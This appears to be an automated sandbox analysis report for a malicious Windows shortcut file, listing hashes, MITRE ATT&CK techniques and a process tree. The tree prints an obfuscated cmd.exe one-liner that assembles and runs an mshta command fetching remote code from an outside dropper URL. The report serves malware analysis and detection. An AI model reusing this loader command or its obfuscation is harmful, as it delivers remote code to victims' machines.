7593e73ee49c126e48880adf7633ff0233a09acd0dbc65026acaccc6db7d1730

Analysis

max time kernel
58s
max time network
23s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
17/08/2026, 08:01

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General

Target
FirmaPeru-Q7T0ZV.lnk
Size 2KB
Sample260817-jwl1msgj6z
SHA256 7593e73ee49c126e48880adf7633ff0233a09acd0dbc65026acaccc6db7d1730
MD5 5a57225fc59a06f9a75ca3be9a0e90ea
SHA1 59fa4f292b51e33948c7ca2e0954efd8bdf22619
SHA512 a875e8f7c5b1607900be73c4f993847204459b9a646302cc4ef80130e63c233d491e73dc975f49ca28cddaecb6de0e3d5e7ea20249f823797419929bbcec1a2c
TLSH
T12941364029ED4188F2B78E3BCEBDB3454D7BB9516D72C68D0840928E4435F01ED37B26
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://m-firma.lat/h/estagio1.php?r=261A6CF54682

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2552	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2552 wrote to memory of 3240	2552	cmd.exe	90
PID 3240 wrote to memory of 928	3240	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\FirmaPeru-Q7T0ZV.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2552
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /D/v:on/c"set dsh=dbgemoaoyiedbg&set TaLI=osta71&&set gJOL=2qcrfim&&set FYH=5x4t0o&set JdX=cachexcmvhyhwerbsvndcache&set AoPMm=cfgctofkhlpzsfcsakhtpcfg&set NL=winnxklsacthtwin&set aM=m1smsh3cl&&set hawn=saqtae&set XP=datgmmfdat&set Vc=baksrpsbak&set FO=winzlgpgiicaohgqewin&set AsZec=cacheqtzbrwpqjsldwmthapcache&set NUzKq=infarifqvpihzuzjgyepmtinf&set xqeeF=dbgpogrecntigmnufhcdbg&&set XDhNW=https://m@-firma.@l@at/h/es@[email protected]@hp?r@=261A@6@CF@5468@2&&start /b !aM:~3,3!!hawn:~3,2! !XDhNW:@=!&&set RUF=done"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3240
- - C:\Windows\System32\mshta.exe
    mshta https://m-firma.lat/h/estagio1.php?r=261A6CF54682
    3⤵
    PID:928

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2552-0-0x000001D876090000-0x000001D87610C000-memory.dmp

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